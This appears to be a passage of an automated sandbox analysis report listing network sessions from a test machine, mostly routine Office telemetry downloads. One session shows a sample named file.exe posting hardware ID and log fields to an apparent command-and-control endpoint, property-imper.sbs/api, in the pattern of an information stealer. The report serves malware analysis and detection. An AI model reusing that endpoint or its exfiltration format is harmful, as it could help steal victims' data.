2024-11-24 04:11:22 UTC	1369	IN	Data Raw: 76 56 51 31 70 61 6a 39 35 67 48 57 38 6f 58 48 77 2f 34 51 30 44 66 63 6d 6d 51 66 74 4d 70 71 69 45 4d 79 30 2b 77 76 59 39 37 4a 52 4c 58 46 4f 44 31 6d 49 53 62 47 49 62 4e 7a 54 79 53 56 63 30 34 34 64 31 76 47 69 64 37 4a 64 33 4d 6e 33 47 39 58 4b 37 33 41 63 52 48 34 7a 42 4a 45 4d 67 54 51 55 33 4e 76 38 4e 52 48 50 2f 77 58 4f 31 4c 63 53 6f 6c 33 51 79 65 4d 44 32 66 4c 4c 63 51 6c 64 62 69 74 39 69 47 47 39 73 46 7a 30 33 2f 55 46 56 4e 2b 65 41 65 4c 4a 69 6c 2b 33 62 4d 33 52 35 33 62 6f 6c 39 4f 56 45 53 55 69 62 31 53 51 45 4c 6e 46 53 4f 7a 53 35 46 52 73 38 39 49 74 2b 74 32 69 54 37 5a 68 79 4d 33 50 44 39 6e 65 39 33 45 46 51 56 70 6e 61 61 42 56 6e 5a 68 34 79 4e 66 4e 4f 56 6e 32 6f 77 58 4f 68 4c 63 53 6f 74 33 6f 35 55 4d 37 32 65 Data Ascii: vVQ1paj95gHW8oXHw/4Q0DfcmmQftMpqiEMy0+wvY97JRLXFOD1mISbGIbNzTySVc044d1vGid7Jd3Mn3G9XK73AcRH4zBJEMgTQU3Nv8NRHP/wXO1LcSol3QyeMD2fLLcQldbit9iGG9sFz03/UFVN+eAeLJil+3bM3R53bol9OVESUib1SQELnFSOzS5FRs89It+t2iT7ZhyM3PD9ne93EFQVpnaaBVnZh4yNfNOVn2owXOhLcSot3o5UM72e
2024-11-24 04:11:22 UTC	1369	IN	Data Raw: 4e 48 38 57 5a 59 77 4d 67 4d 46 49 4b 50 2b 6c 64 57 48 2f 58 6c 33 65 76 5a 70 48 6b 32 32 4a 36 5a 34 58 39 63 66 53 4d 42 31 6c 51 67 74 70 72 47 6d 6c 6b 48 7a 6b 78 2f 45 78 64 4f 65 79 4c 64 4c 39 72 6e 65 32 52 66 6a 56 30 7a 50 31 31 73 39 64 56 48 78 48 4c 33 6e 78 62 4f 43 67 37 4f 79 72 33 58 52 73 69 71 4a 67 30 76 6d 48 63 73 4e 74 35 50 6e 48 42 2f 58 47 79 30 55 46 53 58 6f 54 59 5a 42 52 6b 59 78 73 36 4f 66 52 49 56 6a 6e 30 69 33 2b 32 59 5a 58 6b 6c 6a 31 36 50 73 4c 69 50 65 79 55 64 6c 4a 52 68 64 35 79 57 33 38 6d 43 33 77 2f 39 51 30 44 66 65 65 4e 65 37 70 69 6e 2b 75 61 64 79 5a 73 79 66 4e 31 73 64 68 4d 55 56 6d 5a 33 32 73 53 59 32 73 62 4f 7a 44 31 52 31 67 36 70 73 38 30 76 6e 58 63 73 4e 74 65 49 32 37 49 75 6d 4c 36 7a 51 Data Ascii: NH8WZYwMgMFIKP+ldWH/Xl3evZpHk22J6Z4X9cfSMB1lQgtprGmlkHzkx/ExdOeyLdL9rne2RfjV0zP11s9dVHxHL3nxbOCg7Oyr3XRsiqJg0vmHcsNt5PnHB/XGy0UFSXoTYZBRkYxs6OfRIVjn0i3+2YZXklj16PsLiPeyUdlJRhd5yW38mC3w/9Q0DfeeNe7pin+uadyZsyfN1sdhMUVmZ32sSY2sbOzD1R1g6ps80vnXcsNteI27IumL6zQ
2024-11-24 04:11:22 UTC	1369	IN	Data Raw: 33 6d 49 56 63 6d 30 55 4d 7a 66 77 52 46 38 31 35 59 46 77 76 57 71 5a 36 35 64 32 4d 33 33 4b 2f 6e 53 36 33 55 67 66 45 63 76 65 66 46 73 34 4b 44 4d 6e 4f 2f 56 41 47 79 4b 6f 6d 44 53 2b 59 64 79 77 32 33 45 36 65 38 58 77 65 37 44 52 51 56 56 61 69 39 4a 6e 46 47 52 75 46 6a 4d 34 38 6b 52 61 4f 2b 4f 4c 66 37 39 67 6e 2b 36 64 50 58 6f 2b 77 75 49 39 37 4a 52 6e 52 46 4b 48 33 69 51 45 4c 6e 46 53 4f 7a 53 35 46 52 73 32 36 6f 56 7a 75 57 43 66 34 4a 35 35 50 6e 76 46 38 6d 2b 38 31 45 42 4e 54 59 76 51 59 52 64 6a 61 42 59 36 4d 66 39 4f 58 33 32 6f 77 58 4f 68 4c 63 53 6f 74 6e 45 7a 56 38 4c 68 50 61 75 61 58 68 39 59 68 35 6b 38 57 32 46 6a 47 44 4d 31 2b 6b 74 59 4e 75 4f 4c 64 62 35 6c 6b 66 71 59 63 6a 74 36 78 66 56 37 73 74 56 49 57 56 69 Data Ascii: 3mIVcm0UMzfwRF815YFwvWqZ65d2M33K/nS63UgfEcvefFs4KDMnO/VAGyKomDS+Ydyw23E6e8Xwe7DRQVVai9JnFGRuFjM48kRaO+OLf79gn+6dPXo+wuI97JRnRFKH3iQELnFSOzS5FRs26oVzuWCf4J55PnvF8m+81EBNTYvQYRdjaBY6Mf9OX32owXOhLcSotnEzV8LhPauaXh9Yh5k8W2FjGDM1+ktYNuOLdb5lkfqYcjt6xfV7stVIWVi
2024-11-24 04:11:22 UTC	375	IN	Data Raw: 57 4d 76 4c 41 49 66 37 30 64 63 4c 65 47 57 65 2f 6b 6a 33 4f 66 62 4a 51 30 2b 7a 50 31 6d 70 63 4a 4b 54 31 6a 4c 35 69 70 62 65 43 68 4b 66 41 33 36 51 31 55 36 38 4a 41 35 6e 6e 75 57 37 34 74 36 49 33 47 46 74 44 32 79 6c 42 38 4d 45 63 76 64 64 56 73 34 4f 45 42 6e 62 61 6f 61 43 32 2f 35 7a 32 33 35 65 39 79 77 79 54 4e 30 62 49 57 69 50 66 50 58 56 55 31 5a 69 4d 39 6e 58 46 35 57 4e 53 59 31 2f 31 70 4b 41 39 69 47 62 72 52 72 69 2f 6e 58 61 44 64 77 79 2f 31 72 39 4a 6f 48 55 42 2f 54 34 43 52 54 49 46 64 63 66 43 43 35 46 52 73 49 35 59 39 36 76 6e 75 4e 70 62 78 6e 4f 58 6a 53 36 7a 33 36 6c 45 45 66 42 39 75 58 4a 42 39 78 4b 45 70 73 61 71 49 59 43 47 71 32 30 32 76 33 64 4e 7a 2b 32 79 56 6d 4d 49 58 6f 50 65 79 55 41 46 78 4e 6d 64 39 6e Data Ascii: WMvLAIf70dcLeGWe/kj3OfbJQ0+zP1mpcJKT1jL5ipbeChKfA36Q1U68JA5nnuW74t6I3GFtD2ylB8MEcvddVs4OEBnbaoaC2/5z235e9ywyTN0bIWiPfPXVU1ZiM9nXF5WNSY1/1pKA9iGbrRri/nXaDdwy/1r9JoHUB/T4CRTIFdcfCC5FRsI5Y96vnuNpbxnOXjS6z36lEEfB9uXJB9xKEpsaqIYCGq202v3dNz+2yVmMIXoPeyUAFxNmd9n
2024-11-24 04:11:22 UTC	1369	IN	Data Raw: 32 36 65 32 0d 0a 66 47 56 56 6c 63 6e 64 6f 6a 4a 56 35 72 42 44 45 33 38 6b 78 6c 41 38 69 4d 64 62 70 6a 33 74 6d 4e 63 43 52 39 77 50 31 44 69 74 70 41 53 31 69 46 33 32 52 62 4c 69 67 64 66 47 44 41 44 52 4e 39 32 63 38 30 6f 53 33 45 71 4b 35 2b 4f 6e 44 43 37 47 7a 35 39 31 46 53 55 49 44 59 4a 46 55 67 62 6c 4a 6b 61 4c 63 4e 58 79 79 6d 32 53 54 72 4e 73 6d 37 7a 43 31 6d 59 59 76 6a 50 61 4b 55 48 77 30 52 79 38 73 6b 51 79 41 76 48 44 45 35 2b 6b 4e 59 4c 2f 53 48 64 36 39 75 32 39 61 6c 58 44 6c 31 79 66 64 79 76 2b 70 35 66 6c 4b 41 31 57 6b 55 61 31 59 73 4b 54 76 33 51 31 77 72 39 38 45 36 2b 57 4c 63 73 4b 49 39 66 44 37 36 74 44 32 73 6c 42 38 66 61 6f 6a 58 61 68 78 32 65 56 38 64 4e 66 4a 42 56 6a 4c 74 77 54 72 35 61 39 79 77 79 7a 4e Data Ascii: 26e2fGVVlcndojJV5rBDE38kxlA8iMdbpj3tmNcCR9wP1DitpAS1iF32RbLigdfGDADRN92c80oS3EqK5+OnDC7Gz591FSUIDYJFUgblJkaLcNXyym2STrNsm7zC1mYYvjPaKUHw0Ry8skQyAvHDE5+kNYL/SHd69u29alXDl1yfdyv+p5flKA1WkUa1YsKTv3Q1wr98E6+WLcsKI9fD76tD2slB8faojXahx2eV8dNfJBVjLtwTr5a9ywyzN
2024-11-24 04:11:22 UTC	1369	IN	Data Raw: 32 71 33 78 45 46 63 59 62 58 79 61 42 31 6e 63 68 55 36 48 74 6b 4e 46 58 33 70 77 53 79 41 4c 64 53 6f 70 44 4e 30 5a 6f 57 69 50 59 48 58 53 56 46 59 6e 63 67 70 50 6e 64 72 41 6a 6f 37 75 51 4d 62 4f 36 62 5a 4a 50 63 74 6d 50 6e 62 4a 57 51 73 6e 71 38 75 34 34 51 56 51 42 47 53 6d 58 4a 62 4f 44 70 63 66 43 71 35 46 52 74 36 35 5a 4e 6d 76 32 36 4b 36 39 78 44 43 6c 6a 47 36 33 65 56 32 56 64 59 59 62 58 4d 5a 78 56 75 62 77 51 74 65 4c 63 4e 56 48 32 2b 75 44 54 78 49 5a 72 72 6a 54 30 4c 4d 49 58 69 50 65 79 55 63 6c 78 52 68 64 35 79 43 69 31 4f 45 53 30 79 32 45 42 4c 4f 71 62 50 4e 4c 38 74 78 4c 76 56 50 54 42 76 68 61 49 74 35 6f 38 53 44 41 6a 62 69 33 74 56 65 53 67 45 66 47 43 72 41 78 73 76 70 74 6b 30 2f 6d 36 4f 2b 70 31 2b 49 6e 32 43 Data Ascii: 2q3xEFcYbXyaB1nchU6HtkNFX3pwSyALdSopDN0ZoWiPYHXSVFYncgpPndrAjo7uQMbO6bZJPctmPnbJWQsnq8u44QVQBGSmXJbODpcfCq5FRt65ZNmv26K69xDCljG63eV2VdYYbXMZxVubwQteLcNVH2+uDTxIZrrjT0LMIXiPeyUclxRhd5yCi1OES0y2EBLOqbPNL8txLvVPTBvhaIt5o8SDAjbi3tVeSgEfGCrAxsvptk0/m6O+p1+In2C

Session ID	Source IP	Source Port	Destination IP	Destination Port
3	192.168.2.7	49706	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 04:11:23 UTC	192	OUT	GET /rules/rule224902v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 04:11:24 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 04:11:23 GMT Content-Type: text/xml Content-Length: 450 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:25 GMT ETag: "0x8DC582BD4C869AE" x-ms-request-id: ac6669be-e01e-003c-668c-3ac70b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T041123Z-174c587ffdf89smkhC1TEB697s000000040g0000000084w0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 04:11:24 UTC	450	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 32 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 55 54 53 20 54 3d 22 32 22 20 49 64 3d 22 62 62 72 35 71 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 61 33 36 61 39 37 30 64 2d 34 35 61 39 2d 34 65 30 64 2d 39 63 61 62 2d 32 61 32 33 35 63 63 39 64 37 63 36 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 47 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 4e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224902" V="2" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120100" /> <UTS T="2" Id="bbr5q" /> <SS T="3" G="{a36a970d-45a9-4e0d-9cab-2a235cc9d7c6}" /> </S> <C T="G" I="0" O="falseN

Session ID	Source IP	Source Port	Destination IP	Destination Port
4	192.168.2.7	49710	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 04:11:23 UTC	192	OUT	GET /rules/rule120609v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 04:11:24 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 04:11:23 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB56D3AFB" x-ms-request-id: 4a9b7938-301e-000c-7880-3d323f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T041123Z-174c587ffdftv9hphC1TEBm29w00000003u000000000dvbp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 04:11:24 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 44 64 5d 5b 45 65 5d 5b 4c 6c 5d 5b 4c 6c 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120609" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120682" /> <SR T="2" R="^([Dd][Ee][Ll][Ll])"> <S T="1" F="0" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
5	192.168.2.7	49709	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 04:11:23 UTC	192	OUT	GET /rules/rule120608v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 04:11:24 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 04:11:24 GMT Content-Type: text/xml Content-Length: 2160 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA3B95D81" x-ms-request-id: 7268c357-001e-0066-5863-3b561e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T041124Z-178bfbc474b9fdhphC1NYCac0n00000005cg000000007p5k x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 04:11:24 UTC	2160	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 37 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 33 22 20 52 3d 22 31 32 30 36 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 34 22 20 52 3d 22 31 32 30 36 31 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 35 22 20 52 3d 22 31 32 30 36 31 34 22 20 2f 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120608" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120609" /> <R T="2" R="120679" /> <R T="3" R="120610" /> <R T="4" R="120612" /> <R T="5" R="120614" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
6	192.168.2.7	49707	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 04:11:23 UTC	192	OUT	GET /rules/rule120600v4s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 04:11:24 UTC	515	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 04:11:24 GMT Content-Type: text/xml Content-Length: 2980 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: d279acb6-501e-0029-6110-3dd0b8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T041124Z-178bfbc474bp8mkvhC1NYCzqnn00000005bg000000003sy9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-24 04:11:24 UTC	2980	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 30 22 20 56 3d 22 34 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 44 65 76 69 63 65 43 6f 6e 73 6f 6c 69 64 61 74 65 64 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120600" V="4" DC="SM" EN="Office.System.SystemHealthMetadataDeviceConsolidated" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC"

Session ID	Source IP	Source Port	Destination IP	Destination Port
7	192.168.2.7	49708	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 04:11:23 UTC	193	OUT	GET /rules/rule120402v21s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 04:11:24 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 04:11:24 GMT Content-Type: text/xml Content-Length: 3788 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC2126A6" x-ms-request-id: 5299024a-c01e-0079-4d47-3ce51a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T041124Z-174c587ffdf89smkhC1TEB697s000000041g000000004zk0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 04:11:24 UTC	3788	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 34 30 32 22 20 56 3d 22 32 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 55 6e 67 72 61 63 65 66 75 6c 41 70 70 45 78 69 74 44 65 73 6b 74 6f 70 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 22 20 78 6d 6c 6e 73 3d 22 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120402" V="21" DC="SM" EN="Office.System.SystemHealthUngracefulAppExitDesktop" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalCensus" DL="A" DCa="PSP" xmlns=""

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.7	49711	104.21.33.116	443	7416	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 04:11:24 UTC	275	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=JVYRDEMAH User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 12796 Host: property-imper.sbs
2024-11-24 04:11:24 UTC	12796	OUT	Data Raw: 2d 2d 4a 56 59 52 44 45 4d 41 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 35 41 46 45 44 38 41 38 43 46 38 42 41 44 34 44 37 43 42 42 44 36 44 46 32 38 44 33 37 33 32 0d 0a 2d 2d 4a 56 59 52 44 45 4d 41 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 4a 56 59 52 44 45 4d 41 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d 2d 4a 56 59 52 44 45 4d 41 48 0d 0a 43 6f 6e 74 65 6e Data Ascii: --JVYRDEMAHContent-Disposition: form-data; name="hwid"95AFED8A8CF8BAD4D7CBBD6DF28D3732--JVYRDEMAHContent-Disposition: form-data; name="pid"2--JVYRDEMAHContent-Disposition: form-data; name="lid"LOGS11--LiveTraffic--JVYRDEMAHConten
2024-11-24 04:11:24 UTC	1020	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 04:11:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=34qgbnijafb45qf96uqt0jg3v0; expires=Wed, 19-Mar-2025 21:58:03 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=soyI6m0vzcri%2BSDc7Enn2GKGmxNHb2QPftgrYhY4QveJVLXgXQPBEG2usPfD8gcBI%2Bceh3ITznOB64ExIUMW3g%2FHeILBfq5AgLxGMxsjPVC%2BHtqC49Q8BHY%2B7qGm36fgHUTDxLE%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e768e043d7c4271-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1586&sent=9&recv=17&lost=0&retrans=0&sent_bytes=2845&recv_bytes=13729&delivery_rate=1765417&cwnd=252&unsent_bytes=0&cid=f96c5c85d49d5734&ts=799&x=0"
2024-11-24 04:11:24 UTC	19	IN	Data Raw: 65 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 37 35 0d 0a Data Ascii: eok 8.46.123.75
2024-11-24 04:11:24 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
9	192.168.2.7	49712	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 04:11:25 UTC	192	OUT	GET /rules/rule120610v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 04:11:26 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 04:11:26 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:46 GMT ETag: "0x8DC582B9964B277" x-ms-request-id: 4712fcc8-d01e-002b-279a-3b25fb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T041126Z-174c587ffdfx984chC1TEB676g00000003ug00000000hyyv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 04:11:26 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120610" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
10	192.168.2.7	49713	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 04:11:25 UTC	192	OUT	GET /rules/rule120611v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 04:11:26 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 04:11:26 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:56 GMT ETag: "0x8DC582B9F6F3512" x-ms-request-id: 30601852-401e-0047-7476-3b8597000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T041126Z-174c587ffdf8fcgwhC1TEBnn7000000004300000000085p3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
